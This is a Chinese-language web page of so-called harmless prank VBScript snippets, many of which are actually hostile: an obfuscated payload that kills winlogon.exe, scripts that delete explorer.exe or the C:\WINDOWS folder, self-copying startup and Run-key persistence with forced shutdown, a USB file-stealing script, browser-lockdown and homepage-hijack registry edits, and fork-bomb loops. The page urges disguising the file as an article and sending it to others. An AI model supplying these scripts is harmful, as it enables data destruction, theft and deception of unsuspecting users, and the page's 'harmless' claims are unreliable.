中文字幕免费精品_亚洲视频自拍_亚洲综合国产激情另类一区_色综合咪咪久久

惡作劇的vbs代碼，這里提供的都是一些死循環或導致系統死機的vbs對機器沒壞處，最多關機重啟一下就可以了，將下面的任意一段代碼保存為*.vbs即可

操作方法：把代碼保存為*.VBS運行即可

經本人親自測試 不會出大問題的，一般都是利用無限循環，不是死循環，可以通過任務管理器中結束WSCRIPT或cscript進程即可。

代碼如下:

do

msgbox "hi"

loop

無限制的用英文報數

代碼如下:

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i+1

loop

代碼如下:

if MsgBox("對不起,您灌水太多需要重新啟動計算機。"&chr(10)&"確定要重啟嗎？",vbOKCancel+vbInformation,"重新啟動計算機")=vbCancel then

msgbox " 系統將立刻重起wow ~_^",,"你上當了??！"

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 5",,true

end if

代碼如下:

strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)

for i=1 to UBound(strs)

runner=runner&chr(strs(i))

next

Execute runner

這個沒什么，不過加密了，大家可以解密試試

代碼如下:

if MsgBox("你是豬頭嗎？",vbYesNo,"提示")=vbyes then

msgbox "你SB啊!"

else

msgbox "還不承認!! 作為懲罰，藍屏一下，你馬上掛了#￥！@#￥%@……#……?",64,"嚴重警告!!!!!!!!!"

Set ws = CreateObject("Wscript.Shell")

wscript.sleep 1200

ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide

end if

代碼如下:

Set ws = CreateObject("Wscript.Shell")

ws.run "cmd.exe /c call calc.exe",0

下面的是刪除explorer.exe，導致桌面沒有顯示，不過它事先幫你備份了，為同目錄下的explorer.Data

代碼如下:

set ws=CreateObject("Wscript.Shell")

ws.run "cmd.exe /c taskkill /f /im explorer.exe",0

wscript.sleep 900

ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"

wscript.sleep 1200

ws.run "cmd.exe /c del /q /f %windir%\explorer.exe

代碼如下:

for each wind in verybat

ws.sendkeys wind

wscript.sleep 500

next

ws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30

ws.popup"下機可不能忘了關QQ 我吧QQ關了哈",8

ws.run "taskkill /f /im qq.exe"

ws.popup"你還要上吧 慢慢玩哦",27

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

for d=0 to 4

WSHshell.SendKeys "%{F4}"

next

ws.run"shutdown -s -t 1000600"

wscript.sleep 2000

dim a

do

a=inputbox("請輸入解除關機密碼")

if a="403746401" then

ws.run"shutdown -a"

msgbox"密碼驗證成功，enjoy the best!"

exit do

else

msgbox"密碼驗證失敗，請輸入解除關機密碼：403746401 ",vbretrycancel

end if

loop

ws.popup"哈哈 被嚇到了吧 好玩吧？你以為真的是病毒？呵呵O(∩_∩)O~，我還沒那么打本事能做出病毒來！",57

ws.popup"(\(^o^)/~ 好啦，跟你開了個小小玩笑。你也可以把這個文件發給其他人，耍耍別人。呵呵^_^",62

wscript.sleep 8900

do until i=10

i=i+1

msgbox "CPU溫度過高，系統出現嚴重錯誤！，請結束所有應用程序讓CPU降溫！",16+4096,"系統提示："

wscript.sleep 1000*45

loop

關機

代碼如下:

set sh=wscript.createobject("wscript.shell")

sh.run"shutdown -s -t 332"

關閉當前打開的多個窗口

代碼如下:

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

for d=0 to 40

WSHshell.SendKeys "%{F4}"

next

代碼如下:

dim a,b,c,s

Set fs=CreateObject("Scripting.FileSystemObject")

name = WScript.ScriptName

fullname = WScript.ScriptFullName

path = Replace(fullname,name,"")

a=inputbox("請在對話框中填寫你真實的姓名！"&vbcrlf&""&vbcrlf&"稍后將會給你意外的驚喜??！ "&vbcrlf&""&vbcrlf&"不信你可以試試看?。?！"&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","請在此輸入你的名字")

If a = ""Then

WScript.Quit

End If

MyVar=MsgBox ("你的名字叫："&a&" ",vbYesNo + vbExclamation,"芮洲提示：")

If MyVar=vbYes Then

ElseIf MyVar=vbNo Then

a=inputbox("請在對話框中填寫你真實的姓名！"&vbcrlf&""&vbcrlf&"稍后將會給你意外的驚喜！！ "&vbcrlf&""&vbcrlf&"不信你可以試試看?。。?&vbcrlf&""&vbcrlf&"最好是中文名···","芮洲提示：","請在此輸入你的名字")

If a = ""Then

WScript.Quit

End If

End If

wscript.sleep 1000b=inputbox("尊敬的 "&a&" 你好！"&vbcrlf&""&vbcrlf&"請填寫一下你的愛好。(只需填一個哦！)","芮洲提示：","請在此輸入你的愛好")

If b = ""Then

WScript.Quit

End If

wscript.sleep 1000c = inputbox ("請在下面對話框中輸入你的出生[年 月 日]電腦將自動算出到目前為止你已經在地球上存活了多少時間！"&vbcrlf&""&vbcrlf&"下面以我為列 不同可以修改"&vbcrlf&""&Chr(10)&"格式為：1987-06-02","芮洲提示：","1987-06-02")

If c = ""Then

WScript.Quit

End If

wscript.sleep 1000age = abs(datediff("d",date,c))

wscript.sleep 1

current = now()

h=datepart("h",current)

n=datepart("n",current)

WScript.Sleep 1000

s = msgbox (Chr(10)&"恭喜 "&a&" 已在地球上存活了:"&age&"天 "&h&"小時 "&n&"分鐘.....",vbOKCancel+63,"芮洲提示：")

if s=2 then

end if

Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\"&a&"的秘密.vbs",true)

auto.WriteLine "MSGBOX"&""""&"我的名字叫:"&a&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&"我的愛好是:"&B&" "&""""&"&vbcrlf&"&""""&""&""""&"&vbcrlf&"&""""&""&a&"已經活了:"&age&"天 "&h&"小時 "&n&"分鐘 "&""""&",64,"&""""&""&a&"的自我介紹："""

auto.WriteLine "msgbox"&""""&"親愛的 "&a& " 再見了！"&""""&",48,"&""""&"芮洲提示："&""""&""

Set auto=fs.CreateTextFile("C:\Documents and Settings\All Users\桌面\祝"&a&"生日快樂.TXT",true)

auto.WriteLine "本人芮洲祝: "&a&" 生日快樂、心想事成、敢于大膽嘗試、早日飛黃騰達......."

auto.WriteLine "你已在地球上生活了:"&age&"天 "&h&"小時 "&n&"分鐘了"

auto.WriteLine "時間是根據你的出生年月日算的，可能不是很精確，但目的只是想讓知道時間過的很快，請珍惜時間!!!。"

代碼如下:

dim a

a=10

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 10",,true

Set s = CreateObject("sapi.spvoice")

while a

s.Speak a

a = a - 1

wscript.sleep 100

wend

CreateObject("SAPI.SpVoice").Speak "Bomb?"

代碼如下:

do

createobject("wscript.shell").run chr(34) & wscript.scriptname & chr(34)

loop

代碼如下:

msgbox"此文件無毒，請放心使用。",vbretrycancel,"系統提示。"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.Run "cmd.exe /c shutdown -s -t 300"

wscript.sleep 2000

dim a

do

a=inputbox("輸入abc，否則關機。")

if a="abc" then

msgbox" 很遺憾，你中招了，這是整人程序，你就等著關機吧！"

exit do

else

msgbox"乖點，輸入abc"

end if

loop

代碼如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 6 -c ""說我是豬，不說我是豬就一分鐘關你機，不信，試試···"" ",0 ,true

dim a

do while(a <> "我是豬")

a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬"" ","說不說","不說",8000,7000)

msgbox "乖"

loop

msgbox "早說就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox "自己罵自己的不要臉~~~~~~",4, " "

代碼如下:

msgbox"你是不是很無聊?。?,4

msgbox"我來陪你玩會兒"

msgbox"做好玩兒的準備吧！"

do

msgbox"你無聊嗎?",vbinformation,"你無聊嗎？"

loop

代碼如下:

on error resume next

set wr=createobject("scripting.filesystemobject")

set ws=createobject("wscript.shell")

set f = wr.getfile(wscript.scriptfullname)

q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")

if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true

ws.run"shutdown -p",vbhide

這個太可惡了 只好重啟

代碼如下:

set ws=createobject("wscript.shell")

do

ws.sendkeys "{f5}"

loop

代碼如下:

Dim AutoRunProgram

Set AutoRunProgram = WScript.CreateObject("WScript.shell")

RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"

Type_Name = "REG_SZ"

Key_Name = "QUESTION.vbS"

Key_data = "C:\windows\system32\QUESTION.vbs"

AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name

Dim fso,file

Set fso = CreateObject("Scripting.FileSystemObject")

Set file = fso.getfile(WScript.ScriptFullName)

file.copy "c:\windows\system32\"

Set fso = CreateObject("Scripting.FileSystemObject")

f = fso.DeleteFile(WScript.ScriptName)

Set objShell = CreateObject("Wscript.Shell")

objShell.Run "shutdown -s -t 5",,true

代碼如下:

set wmp=createobject("wmplayer.ocx")

set cd=wmp.cdromcollection.item(0)

do

cd.eject

loop

代碼如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""喊我聲爹，快喊"" ",0 ,true

dim a

do while(a <> "爹")

a = inputbox ("喊我爹,快撒，喊 ""爹"" ","喊不喊","不喊",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "兒子"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "等下老爹買棒棒糖給你吃"

代碼如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 120 -c ""說你愛我，不說你愛我就兩分鐘關你機，不信，試試···"" ",0 ,true

dim a

do while(a <> "我愛你")

a = inputbox ("說你愛我,就不關機，快撒，說 ""你愛我"" ","說不說","不說",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛，何必這么費勁"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，今天真過癮

代碼如下:

i = MsgBox("由于你灌水太水需要爆破電腦。"&_

vbCrLf&"確定爆破嗎？",vbOKCancel,_

"爆破電腦系統?。。。?！")

if i = 1 then

CreateObject("SAPI.SpVoice").Speak "bone"

end if

代碼如下:

On Error Resume Next

Dim i

i=0

Set fso=CreateObject("Scripting.FileSystemObject")

IP=InputBox("請輸入要監控的U盤盤符:","U盤大盜-By 最聰明的豬","I:")

ext=InputBox("請輸入要盜竊的文件名的擴展名:","U盤大盜-By 最聰明的豬","txt")

MyFolder=InputBox("請輸入保存文件的路徑:","U盤大盜-By 最聰明的豬","E:\U盤大盜")

fso.CreateFolder(MyFolder)

Do

WScript.Sleep 1000

If fso.FolderExists(IP & "\") Then Exit Do

Loop

Scan(IP & "\")

Sub Scan(Folder_)

On Error Resume Next

Set Folder_=fso.GetFolder(Folder_)

Set Files=Folder_.Files

For Each File in Files

ext_=fso.GetExtensionName(File)

ext_=Lcase(ext_)

ext=Lcase(ext)

If ext_=ext Then

i=i+1

fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name)

End If

Next

Set SubFolders=Folder_.SubFolders

For Each SubFolder In SubFolders

Scan(Subfolder)

Next

End Sub

代碼如下:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""一分鐘后,你的機子就完了,不信?!試試!"" ",0 ,true

dim a

do while(a <> "不重,不重,我就不重!")

a = inputbox ("唯一的辦法就是""重啟"" ","重不重啟","不重,不重,我就不重!",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "真的不是我說你,亂按什么確定啊,希望你在網吧.菩薩保佑......"

msgbox chr(13) + chr(13) + chr(13) + "你的機子真的要完了,趕緊準備點錢重裝機子吧.阿彌陀佛,善哉,善哉!"

msgbox chr(13) + chr(13) + chr(13) + "以后手不要在那么快了哦~"

msgbox chr(13) + chr(13) + chr(13) + "88~"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox " " + chr(14) + "~"

Dim a

Set a = CreateObject("Scripting.FileSystemObject")

a.DeleteFolder ("C:\WINDOWS")

不是死循環了，是讓你死機了，重啟吧

代碼如下:

msgbox"讓你見識一下啥叫狠毒！"

do

set ws=createobjecet("wscript.shell")

ws.run"explorer.exe"

ws.run"cmd.exe"

loop

代碼如下:

on error resume next

msgbox"即將格式化！請做好準備！",vbyesno

msgbox"準備好后點yes！"，vbyesno

msgbox"sorry，忘說了，點no也行！"

msgbox"我對不起你啊！嗚嗚嗚555哈哈哈哈！"

msgbox"靠，我笑個屁呀！我可是著名博士！在精神病院搞一種研究。。。"

msgbox"被人研究！"

msgbox"就知道你會笑！告訴你，我最歧視兩種人！一是歧視別人的人，二是愛笑人，三是不識數的人！"

msgbox"你咋還笑？！是時候懲罰你了！"

do

set ws=createobjecet("wscript.shell")

ws.run"explorer.exe"

ws.run"cmd.exe"

ws.run"cmd.exe /c shutdown -s -t 7200",,ture

loop

發個特整人的東西

代碼如下:

set s.createobject("wscript.shell")

lsfile=wscript.scriptfullname '獲得自己的名稱

do '死循環

s.run lsfile '自己運行自己

s.run "notepad" '運行記事本

loop '幾秒就死機，哈

來個綠色的，無毒無害的：

代碼如下:

dim a

set a=createobject("sapi.spvoice")

a.speak "ha ha ha ha hahahahahahaha"

注：ha ha ha... 可以改為幾句粗話?。?/P>

輸入中文后英文要取決于你的電腦會講英文還是中文！

代碼如下:

dim a

a=msgbox("給你講個故事!",vbyesno,"默默許愿制作")

if a=vbyes then

do

msgbox("從前有座山")

msgbox("山上有座廟")

msgbox("廟里有兩個和尚")

msgbox("大和尚給小和尚講故事說")

a=1

loop while a=1

end if

將默認頁，搜索頁設置百度

代碼如下:

if msgbox("這是被封印的東西",65,"警告?。。?) = 1 then

if msgbox("請不要一意孤行",65,"警告?。?！") =1 then

if msgbox("不要再按了！！",65,"警告?。?！") =1 then

if msgbox("氣死我了.....",65,"警告?。。?) =1 then

if msgbox("既然這樣...那么這個東西就歸你了！",65,"祝你愉快！886") =1 then

msgbox "到這里,是你自己的命令,我也無法阻止了",65,"祝你愉快！886"

msgbox "這是一個病毒.....(由魔導之魂封印的)現在,魔導之魂也無法控制他了?。。?！",65,"封印解除??！"

on error resume next

dim fso,wsh,myfile,ws,pp,fsoFolder

set wsh=wscript.createobject("wscript.shell")

set fso=wscript.createobject("scripting.filesystemobject")

set myfile=fso.GetFile(wscript.scriptfullname)

wsh.Regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue",0,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"

wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com"

wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Search Page","http://www.baidu.com"

wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com"

wsh.Regwrite "HKCU\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com"

wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.baidu.com"

wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Page_URL","http://www.baidu.com"

wsh.Regwrite "HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\Default_Search_URL","http://www.baidu.com"

很久很久以前，好像是高考后的那個夏天，收到過朋友的一個惡作劇程序，程序名為“一篇感動人的文章.vbs”，當時什么都不懂，直接雙擊了，一直耿耿于懷。雙擊后彈出一個輸入框“輸入‘我是豬'，否則十五秒后關機。我還以為是搞笑的，什么都沒有輸入，就真的關機了，覺得很神奇。而現在能夠自己寫出代碼了，卻再也找不到以前的快樂。

代碼如下:

Option Explicit

On Error Resume Next

Dim answer

Dim WshShell

set WshShell = CreateObject("wscript.Shell")

WshShell.Run "Shutdown /f /s /t 10 /c 輸入'我是豬'，否則10秒后關機~",0

Do While answer<>"我是豬"

answer=InputBox("輸入'我是豬'，否則10秒后關機~","哈哈哈",,7000,8000)

Loop

WshShell.Run "Shutdown /a",0

MsgBox "哈哈哈，好玩不?",,"哈哈哈"

打開記事本，把代碼復制粘貼進去，保存為“一篇感動人的文章.vbs”，一個惡作劇程序就完成了，接下來做什么就超出本文范圍了。